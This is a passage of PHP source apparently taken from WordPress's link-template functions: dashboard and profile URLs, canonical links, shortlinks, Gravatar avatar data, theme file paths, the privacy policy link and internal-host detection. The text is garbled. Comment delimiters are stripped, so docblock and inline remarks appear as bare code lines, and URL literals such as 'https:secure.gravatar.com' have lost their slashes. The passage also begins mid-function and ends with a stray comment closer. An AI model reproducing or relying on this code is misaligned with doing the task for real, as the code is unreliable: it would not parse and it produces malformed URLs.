} else {
$current_blog = get_current_blog_id();
if ( $current_blog && ( user_can( $user_id, 'manage_network' ) || in_array( $current_blog, array_keys( $blogs ), true ) ) ) {
$url = admin_url( $path, $scheme );
} else {
$active = get_active_blog_for_user( $user_id );
if ( $active ) {
$url = get_admin_url( $active->blog_id, $path, $scheme );
} else {
$url = user_admin_url( $path, $scheme );
}
}
}
*
* Filters the dashboard URL for a user.
*
* @since 3.1.0
*
* @param string $url The complete URL including scheme and path.
* @param int $user_id The user ID.
* @param string $path Path relative to the URL. Blank string if no path is specified.
* @param string $scheme Scheme to give the URL context. Accepts 'http', 'https', 'login',
* 'login_post', 'admin', 'relative' or null.
return apply_filters( 'user_dashboard_url', $url, $user_id, $path, $scheme );
}
*
* Retrieves the URL to the user's profile editor.
*
* @since 3.1.0
*
* @param int $user_id Optional. User ID. Defaults to current user.
* @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
* and is_ssl(). 'http' or 'https' can be passed to force those schemes.
* @return string Dashboard URL link with optional path appended.
function get_edit_profile_url( $user_id = 0, $scheme = 'admin' ) {
$user_id = $user_id ? (int) $user_id : get_current_user_id();
if ( is_user_admin() ) {
$url = user_admin_url( 'profile.php', $scheme );
} elseif ( is_network_admin() ) {
$url = network_admin_url( 'profile.php', $scheme );
} else {
$url = get_dashboard_url( $user_id, 'profile.php', $scheme );
}
*
* Filters the URL for a user's profile editor.
*
* @since 3.1.0
*
* @param string $url The complete URL including scheme and path.
* @param int $user_id The user ID.
* @param string $scheme Scheme to give the URL context. Accepts 'http', 'https', 'login',
* 'login_post', 'admin', 'relative' or null.
return apply_filters( 'edit_profile_url', $url, $user_id, $scheme );
}
*
* Returns the canonical URL for a post.
*
* When the post is the same as the current requested page the function will handle the
* pagination arguments too.
*
* @since 4.6.0
*
* @param int|WP_Post $post Optional. Post ID or object. Default is global `$post`.
* @return string|false The canonical URL. False if the post does not exist
* or has not been published yet.
function wp_get_canonical_url( $post = null ) {
$post = get_post( $post );
if ( ! $post ) {
return false;
}
if ( 'publish' !== $post->post_status ) {
return false;
}
$canonical_url = get_permalink( $post );
If a canonical is being generated for the current page, make sure it has pagination if needed.
if ( get_queried_object_id() === $post->ID ) {
$page = get_query_var( 'page', 0 );
if ( $page >= 2 ) {
if ( ! get_option( 'permalink_structure' ) ) {
$canonical_url = add_query_arg( 'page', $page, $canonical_url );
} else {
$canonical_url = trailingslashit( $canonical_url ) . user_trailingslashit( $page, 'single_paged' );
}
}
$cpage = get_query_var( 'cpage', 0 );
if ( $cpage ) {
$canonical_url = get_comments_pagenum_link( $cpage );
}
}
*
* Filters the canonical URL for a post.
*
* @since 4.6.0
*
* @param string $canonical_url The post's canonical URL.
* @param WP_Post $post Post object.
return apply_filters( 'get_canonical_url', $canonical_url, $post );
}
*
* Outputs rel=canonical for singular queries.
*
* @since 2.9.0
* @since 4.6.0 Adjusted to use `wp_get_canonical_url()`.
function rel_canonical() {
if ( ! is_singular() ) {
return;
}
$id = get_queried_object_id();
if ( 0 === $id ) {
return;
}
$url = wp_get_canonical_url( $id );
if ( ! empty( $url ) ) {
echo '<link rel="canonical" href="' . esc_url( $url ) . '" />' . "\n";
}
}
*
* Returns a shortlink for a post, page, attachment, or site.
*
* This function exists to provide a shortlink tag that all themes and plugins can target.
* A plugin must hook in to provide the actual shortlinks. Default shortlink support is
* limited to providing ?p= style links for posts. Plugins can short-circuit this function
* via the {@see 'pre_get_shortlink'} filter or filter the output via the {@see 'get_shortlink'}
* filter.
*
* @since 3.0.0
*
* @param int $id Optional. A post or site ID. Default is 0, which means the current post or site.
* @param string $context Optional. Whether the ID is a 'site' ID, 'post' ID, or 'media' ID. If 'post',
* the post_type of the post is consulted. If 'query', the current query is consulted
* to determine the ID and context. Default 'post'.
* @param bool $allow_slugs Optional. Whether to allow post slugs in the shortlink. It is up to the plugin how
* and whether to honor this. Default true.
* @return string A shortlink or an empty string if no shortlink exists for the requested resource or if shortlinks
* are not enabled.
function wp_get_shortlink( $id = 0, $context = 'post', $allow_slugs = true ) {
*
* Filters whether to preempt generating a shortlink for the given post.
*
* Returning a value other than false from the filter will short-circuit
* the shortlink generation process, returning that value instead.
*
* @since 3.0.0
*
* @param false|string $return Short-circuit return value. Either false or a URL string.
* @param int $id Post ID, or 0 for the current post.
* @param string $context The context for the link. One of 'post' or 'query',
* @param bool $allow_slugs Whether to allow post slugs in the shortlink.
$shortlink = apply_filters( 'pre_get_shortlink', false, $id, $context, $allow_slugs );
if ( false !== $shortlink ) {
return $shortlink;
}
$post_id = 0;
if ( 'query' === $context && is_singular() ) {
$post_id = get_queried_object_id();
$post = get_post( $post_id );
} elseif ( 'post' === $context ) {
$post = get_post( $id );
if ( ! empty( $post->ID ) ) {
$post_id = $post->ID;
}
}
$shortlink = '';
Return `?p=` link for all public post types.
if ( ! empty( $post_id ) ) {
$post_type = get_post_type_object( $post->post_type );
if ( 'page' === $post->post_type && get_option( 'page_on_front' ) == $post->ID && 'page' === get_option( 'show_on_front' ) ) {
$shortlink = home_url( '/' );
} elseif ( $post_type && $post_type->public ) {
$shortlink = home_url( '?p=' . $post_id );
}
}
*
* Filters the shortlink for a post.
*
* @since 3.0.0
*
* @param string $shortlink Shortlink URL.
* @param int $id Post ID, or 0 for the current post.
* @param string $context The context for the link. One of 'post' or 'query',
* @param bool $allow_slugs Whether to allow post slugs in the shortlink. Not used by default.
return apply_filters( 'get_shortlink', $shortlink, $id, $context, $allow_slugs );
}
*
* Injects rel=shortlink into the head if a shortlink is defined for the current page.
*
* Attached to the {@see 'wp_head'} action.
*
* @since 3.0.0
function wp_shortlink_wp_head() {
$shortlink = wp_get_shortlink( 0, 'query' );
if ( empty( $shortlink ) ) {
return;
}
echo "<link rel='shortlink' href='" . esc_url( $shortlink ) . "' />\n";
}
*
* Sends a Link: rel=shortlink header if a shortlink is defined for the current page.
*
* Attached to the {@see 'wp'} action.
*
* @since 3.0.0
function wp_shortlink_header() {
if ( headers_sent() ) {
return;
}
$shortlink = wp_get_shortlink( 0, 'query' );
if ( empty( $shortlink ) ) {
return;
}
header( 'Link: <' . $shortlink . '>; rel=shortlink', false );
}
*
* Displays the shortlink for a post.
*
* Must be called from inside "The Loop"
*
* Call like the_shortlink( __( 'Shortlinkage FTW' ) )
*
* @since 3.0.0
*
* @param string $text Optional The link text or HTML to be displayed. Defaults to 'This is the short link.'
* @param string $title Optional The tooltip for the link. Must be sanitized. Defaults to the sanitized post title.
* @param string $before Optional HTML to display before the link. Default empty.
* @param string $after Optional HTML to display after the link. Default empty.
function the_shortlink( $text = '', $title = '', $before = '', $after = '' ) {
$post = get_post();
if ( empty( $text ) ) {
$text = __( 'This is the short link.' );
}
if ( empty( $title ) ) {
$title = the_title_attribute( array( 'echo' => false ) );
}
$shortlink = wp_get_shortlink( $post->ID );
if ( ! empty( $shortlink ) ) {
$link = '<a rel="shortlink" href="' . esc_url( $shortlink ) . '" title="' . $title . '">' . $text . '</a>';
*
* Filters the short link anchor tag for a post.
*
* @since 3.0.0
*
* @param string $link Shortlink anchor tag.
* @param string $shortlink Shortlink URL.
* @param string $text Shortlink's text.
* @param string $title Shortlink's title attribute.
$link = apply_filters( 'the_shortlink', $link, $shortlink, $text, $title );
echo $before, $link, $after;
}
}
*
* Retrieves the avatar URL.
*
* @since 4.2.0
*
* @param mixed $id_or_email The avatar to retrieve a URL for. Accepts a user ID, Gravatar MD5 hash,
* user email, WP_User object, WP_Post object, or WP_Comment object.
* @param array $args {
* Optional. Arguments to use instead of the default arguments.
*
* @type int $size Height and width of the avatar in pixels. Default 96.
* @type string $default URL for the default image or a default type. Accepts:
* - '404' (return a 404 instead of a default image)
* - 'retro' (a 8-bit arcade-style pixelated face)
* - 'robohash' (a robot)
* - 'monsterid' (a monster)
* - 'wavatar' (a cartoon face)
* - 'identicon' (the "quilt", a geometric pattern)
* - 'mystery', 'mm', or 'mysteryman' (The Oyster Man)
* - 'blank' (transparent GIF)
* - 'gravatar_default' (the Gravatar logo)
* Default is the value of the 'avatar_default' option,
* with a fallback of 'mystery'.
* @type bool $force_default Whether to always show the default image, never the Gravatar.
* Default false.
* @type string $rating What rating to display avatars up to. Accepts:
* - 'G' (suitable for all audiences)
* - 'PG' (possibly offensive, usually for audiences 13 and above)
* - 'R' (intended for adult audiences above 17)
* - 'X' (even more mature than above)
* Default is the value of the 'avatar_rating' option.
* @type string $scheme URL scheme to use. See set_url_scheme() for accepted values.
* Default null.
* @type array $processed_args When the function returns, the value will be the processed/sanitized $args
* plus a "found_avatar" guess. Pass as a reference. Default null.
* }
* @return string|false The URL of the avatar on success, false on failure.
function get_avatar_url( $id_or_email, $args = null ) {
$args = get_avatar_data( $id_or_email, $args );
return $args['url'];
}
*
* Check if this comment type allows avatars to be retrieved.
*
* @since 5.1.0
*
* @param string $comment_type Comment type to check.
* @return bool Whether the comment type is allowed for retrieving avatars.
function is_avatar_comment_type( $comment_type ) {
*
* Filters the list of allowed comment types for retrieving avatars.
*
* @since 3.0.0
*
* @param array $types An array of content types. Default only contains 'comment'.
$allowed_comment_types = apply_filters( 'get_avatar_comment_types', array( 'comment' ) );
return in_array( $comment_type, (array) $allowed_comment_types, true );
}
*
* Retrieves default data about the avatar.
*
* @since 4.2.0
*
* @param mixed $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
* user email, WP_User object, WP_Post object, or WP_Comment object.
* @param array $args {
* Optional. Arguments to use instead of the default arguments.
*
* @type int $size Height and width of the avatar in pixels. Default 96.
* @type int $height Display height of the avatar in pixels. Defaults to $size.
* @type int $width Display width of the avatar in pixels. Defaults to $size.
* @type string $default URL for the default image or a default type. Accepts:
* - '404' (return a 404 instead of a default image)
* - 'retro' (a 8-bit arcade-style pixelated face)
* - 'robohash' (a robot)
* - 'monsterid' (a monster)
* - 'wavatar' (a cartoon face)
* - 'identicon' (the "quilt", a geometric pattern)
* - 'mystery', 'mm', or 'mysteryman' (The Oyster Man)
* - 'blank' (transparent GIF)
* - 'gravatar_default' (the Gravatar logo)
* Default is the value of the 'avatar_default' option,
* with a fallback of 'mystery'.
* @type bool $force_default Whether to always show the default image, never the Gravatar.
* Default false.
* @type string $rating What rating to display avatars up to. Accepts:
* - 'G' (suitable for all audiences)
* - 'PG' (possibly offensive, usually for audiences 13 and above)
* - 'R' (intended for adult audiences above 17)
* - 'X' (even more mature than above)
* Default is the value of the 'avatar_rating' option.
* @type string $scheme URL scheme to use. See set_url_scheme() for accepted values.
* Default null.
* @type array $processed_args When the function returns, the value will be the processed/sanitized $args
* plus a "found_avatar" guess. Pass as a reference. Default null.
* @type string $extra_attr HTML attributes to insert in the IMG element. Is not sanitized.
* Default empty.
* }
* @return array {
* Along with the arguments passed in `$args`, this will contain a couple of extra arguments.
*
* @type bool $found_avatar True if an avatar was found for this user,
* false or not set if none was found.
* @type string|false $url The URL of the avatar that was found, or false.
* }
function get_avatar_data( $id_or_email, $args = null ) {
$args = wp_parse_args(
$args,
array(
'size' => 96,
'height' => null,
'width' => null,
'default' => get_option( 'avatar_default', 'mystery' ),
'force_default' => false,
'rating' => get_option( 'avatar_rating' ),
'scheme' => null,
'processed_args' => null, If used, should be a reference.
'extra_attr' => '',
)
);
if ( is_numeric( $args['size'] ) ) {
$args['size'] = absint( $args['size'] );
if ( ! $args['size'] ) {
$args['size'] = 96;
}
} else {
$args['size'] = 96;
}
if ( is_numeric( $args['height'] ) ) {
$args['height'] = absint( $args['height'] );
if ( ! $args['height'] ) {
$args['height'] = $args['size'];
}
} else {
$args['height'] = $args['size'];
}
if ( is_numeric( $args['width'] ) ) {
$args['width'] = absint( $args['width'] );
if ( ! $args['width'] ) {
$args['width'] = $args['size'];
}
} else {
$args['width'] = $args['size'];
}
if ( empty( $args['default'] ) ) {
$args['default'] = get_option( 'avatar_default', 'mystery' );
}
switch ( $args['default'] ) {
case 'mm':
case 'mystery':
case 'mysteryman':
$args['default'] = 'mm';
break;
case 'gravatar_default':
$args['default'] = false;
break;
}
$args['force_default'] = (bool) $args['force_default'];
$args['rating'] = strtolower( $args['rating'] );
$args['found_avatar'] = false;
*
* Filters whether to retrieve the avatar URL early.
*
* Passing a non-null value in the 'url' member of the return array will
* effectively short circuit get_avatar_data(), passing the value through
* the {@see 'get_avatar_data'} filter and returning early.
*
* @since 4.2.0
*
* @param array $args Arguments passed to get_avatar_data(), after processing.
* @param mixed $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
* user email, WP_User object, WP_Post object, or WP_Comment object.
$args = apply_filters( 'pre_get_avatar_data', $args, $id_or_email );
if ( isset( $args['url'] ) ) {
* This filter is documented in wp-includes/link-template.php
return apply_filters( 'get_avatar_data', $args, $id_or_email );
}
$email_hash = '';
$user = false;
$email = false;
if ( is_object( $id_or_email ) && isset( $id_or_email->comment_ID ) ) {
$id_or_email = get_comment( $id_or_email );
}
Process the user identifier.
if ( is_numeric( $id_or_email ) ) {
$user = get_user_by( 'id', absint( $id_or_email ) );
} elseif ( is_string( $id_or_email ) ) {
if ( str_contains( $id_or_email, '@md5.gravatar.com' ) ) {
MD5 hash.
list( $email_hash ) = explode( '@', $id_or_email );
} else {
Email address.
$email = $id_or_email;
}
} elseif ( $id_or_email instanceof WP_User ) {
User object.
$user = $id_or_email;
} elseif ( $id_or_email instanceof WP_Post ) {
Post object.
$user = get_user_by( 'id', (int) $id_or_email->post_author );
} elseif ( $id_or_email instanceof WP_Comment ) {
if ( ! is_avatar_comment_type( get_comment_type( $id_or_email ) ) ) {
$args['url'] = false;
* This filter is documented in wp-includes/link-template.php
return apply_filters( 'get_avatar_data', $args, $id_or_email );
}
if ( ! empty( $id_or_email->user_id ) ) {
$user = get_user_by( 'id', (int) $id_or_email->user_id );
}
if ( ( ! $user || is_wp_error( $user ) ) && ! empty( $id_or_email->comment_author_email ) ) {
$email = $id_or_email->comment_author_email;
}
}
if ( ! $email_hash ) {
if ( $user ) {
$email = $user->user_email;
}
if ( $email ) {
$email_hash = md5( strtolower( trim( $email ) ) );
}
}
if ( $email_hash ) {
$args['found_avatar'] = true;
$gravatar_server = hexdec( $email_hash[0] ) % 3;
} else {
$gravatar_server = rand( 0, 2 );
}
$url_args = array(
's' => $args['size'],
'd' => $args['default'],
'f' => $args['force_default'] ? 'y' : false,
'r' => $args['rating'],
);
if ( is_ssl() ) {
$url = 'https:secure.gravatar.com/avatar/' . $email_hash;
} else {
$url = sprintf( 'http:%d.gravatar.com/avatar/%s', $gravatar_server, $email_hash );
}
$url = add_query_arg(
rawurlencode_deep( array_filter( $url_args ) ),
set_url_scheme( $url, $args['scheme'] )
);
*
* Filters the avatar URL.
*
* @since 4.2.0
*
* @param string $url The URL of the avatar.
* @param mixed $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
* user email, WP_User object, WP_Post object, or WP_Comment object.
* @param array $args Arguments passed to get_avatar_data(), after processing.
$args['url'] = apply_filters( 'get_avatar_url', $url, $id_or_email, $args );
*
* Filters the avatar data.
*
* @since 4.2.0
*
* @param array $args Arguments passed to get_avatar_data(), after processing.
* @param mixed $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
* user email, WP_User object, WP_Post object, or WP_Comment object.
return apply_filters( 'get_avatar_data', $args, $id_or_email );
}
*
* Retrieves the URL of a file in the theme.
*
* Searches in the stylesheet directory before the template directory so themes
* which inherit from a parent theme can just override one file.
*
* @since 4.7.0
*
* @param string $file Optional. File to search for in the stylesheet directory.
* @return string The URL of the file.
function get_theme_file_uri( $file = '' ) {
$file = ltrim( $file, '/' );
$stylesheet_directory = get_stylesheet_directory();
if ( empty( $file ) ) {
$url = get_stylesheet_directory_uri();
} elseif ( get_template_directory() !== $stylesheet_directory && file_exists( $stylesheet_directory . '/' . $file ) ) {
$url = get_stylesheet_directory_uri() . '/' . $file;
} else {
$url = get_template_directory_uri() . '/' . $file;
}
*
* Filters the URL to a file in the theme.
*
* @since 4.7.0
*
* @param string $url The file URL.
* @param string $file The requested file to search for.
return apply_filters( 'theme_file_uri', $url, $file );
}
*
* Retrieves the URL of a file in the parent theme.
*
* @since 4.7.0
*
* @param string $file Optional. File to return the URL for in the template directory.
* @return string The URL of the file.
function get_parent_theme_file_uri( $file = '' ) {
$file = ltrim( $file, '/' );
if ( empty( $file ) ) {
$url = get_template_directory_uri();
} else {
$url = get_template_directory_uri() . '/' . $file;
}
*
* Filters the URL to a file in the parent theme.
*
* @since 4.7.0
*
* @param string $url The file URL.
* @param string $file The requested file to search for.
return apply_filters( 'parent_theme_file_uri', $url, $file );
}
*
* Retrieves the path of a file in the theme.
*
* Searches in the stylesheet directory before the template directory so themes
* which inherit from a parent theme can just override one file.
*
* @since 4.7.0
*
* @param string $file Optional. File to search for in the stylesheet directory.
* @return string The path of the file.
function get_theme_file_path( $file = '' ) {
$file = ltrim( $file, '/' );
$stylesheet_directory = get_stylesheet_directory();
$template_directory = get_template_directory();
if ( empty( $file ) ) {
$path = $stylesheet_directory;
} elseif ( $stylesheet_directory !== $template_directory && file_exists( $stylesheet_directory . '/' . $file ) ) {
$path = $stylesheet_directory . '/' . $file;
} else {
$path = $template_directory . '/' . $file;
}
*
* Filters the path to a file in the theme.
*
* @since 4.7.0
*
* @param string $path The file path.
* @param string $file The requested file to search for.
return apply_filters( 'theme_file_path', $path, $file );
}
*
* Retrieves the path of a file in the parent theme.
*
* @since 4.7.0
*
* @param string $file Optional. File to return the path for in the template directory.
* @return string The path of the file.
function get_parent_theme_file_path( $file = '' ) {
$file = ltrim( $file, '/' );
if ( empty( $file ) ) {
$path = get_template_directory();
} else {
$path = get_template_directory() . '/' . $file;
}
*
* Filters the path to a file in the parent theme.
*
* @since 4.7.0
*
* @param string $path The file path.
* @param string $file The requested file to search for.
return apply_filters( 'parent_theme_file_path', $path, $file );
}
*
* Retrieves the URL to the privacy policy page.
*
* @since 4.9.6
*
* @return string The URL to the privacy policy page. Empty string if it doesn't exist.
function get_privacy_policy_url() {
$url = '';
$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
if ( ! empty( $policy_page_id ) && get_post_status( $policy_page_id ) === 'publish' ) {
$url = (string) get_permalink( $policy_page_id );
}
*
* Filters the URL of the privacy policy page.
*
* @since 4.9.6
*
* @param string $url The URL to the privacy policy page. Empty string
* if it doesn't exist.
* @param int $policy_page_id The ID of privacy policy page.
return apply_filters( 'privacy_policy_url', $url, $policy_page_id );
}
*
* Displays the privacy policy link with formatting, when applicable.
*
* @since 4.9.6
*
* @param string $before Optional. Display before privacy policy link. Default empty.
* @param string $after Optional. Display after privacy policy link. Default empty.
function the_privacy_policy_link( $before = '', $after = '' ) {
echo get_the_privacy_policy_link( $before, $after );
}
*
* Returns the privacy policy link with formatting, when applicable.
*
* @since 4.9.6
* @since 6.2.0 Added 'privacy-policy' rel attribute.
*
* @param string $before Optional. Display before privacy policy link. Default empty.
* @param string $after Optional. Display after privacy policy link. Default empty.
* @return string Markup for the link and surrounding elements. Empty string if it
* doesn't exist.
function get_the_privacy_policy_link( $before = '', $after = '' ) {
$link = '';
$privacy_policy_url = get_privacy_policy_url();
$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
$page_title = ( $policy_page_id ) ? get_the_title( $policy_page_id ) : '';
if ( $privacy_policy_url && $page_title ) {
$link = sprintf(
'<a class="privacy-policy-link" href="%s" rel="privacy-policy">%s</a>',
esc_url( $privacy_policy_url ),
esc_html( $page_title )
);
}
*
* Filters the privacy policy link.
*
* @since 4.9.6
*
* @param string $link The privacy policy link. Empty string if it
* doesn't exist.
* @param string $privacy_policy_url The URL of the privacy policy. Empty string
* if it doesn't exist.
$link = apply_filters( 'the_privacy_policy_link', $link, $privacy_policy_url );
if ( $link ) {
return $before . $link . $after;
}
return '';
}
*
* Returns an array of URL hosts which are considered to be internal hosts.
*
* By default the list of internal hosts is comprised of the host name of
* the site's home_url() (as parsed by wp_parse_url()).
*
* This list is used when determining if a specificed URL is a link to a page on
* the site itself or a link offsite (to an external host). This is used, for
* example, when determining if the "nofollow" attribute should be applied to a
* link.
*
* @see wp_is_internal_link
*
* @since 6.2.0
*
* @return string[] An array of URL hosts.
function wp_internal_hosts() {
static $internal_hosts;
if ( empty( $internal_hosts ) ) {
*
* Filters the array of URL hosts which are considered internal.
*
* @since 6.2.0
*
* @param string[] $internal_hosts An array of internal URL hostnames.
$internal_hosts = apply_filters(
'wp_internal_hosts',
array(
wp_parse_url( home_url(), PHP_URL_HOST ),
)
);
$internal_hosts = array_unique(
array_map( 'strtolower', (array) $internal_hosts )
);
}
return $internal_hosts;
}
*
* Determines whether or not the specified URL is of a host included in the internal hosts list.
*
* @see wp_internal_hosts()
*
* @since 6.2.0
*
* @param string $link The URL to test.
* @return bool Returns true for internal URLs and false for all other URLs.
function wp_is_internal_link( $link ) {
$link = strtolower( $link );
if ( in_array( wp_parse_url( $link, PHP_URL_SCHEME ), wp_allowed_protocols(), true ) ) {
return in_array( wp_parse_url( $link, PHP_URL_HOST ), wp_internal_hosts(), true );
}
return false;
}
*/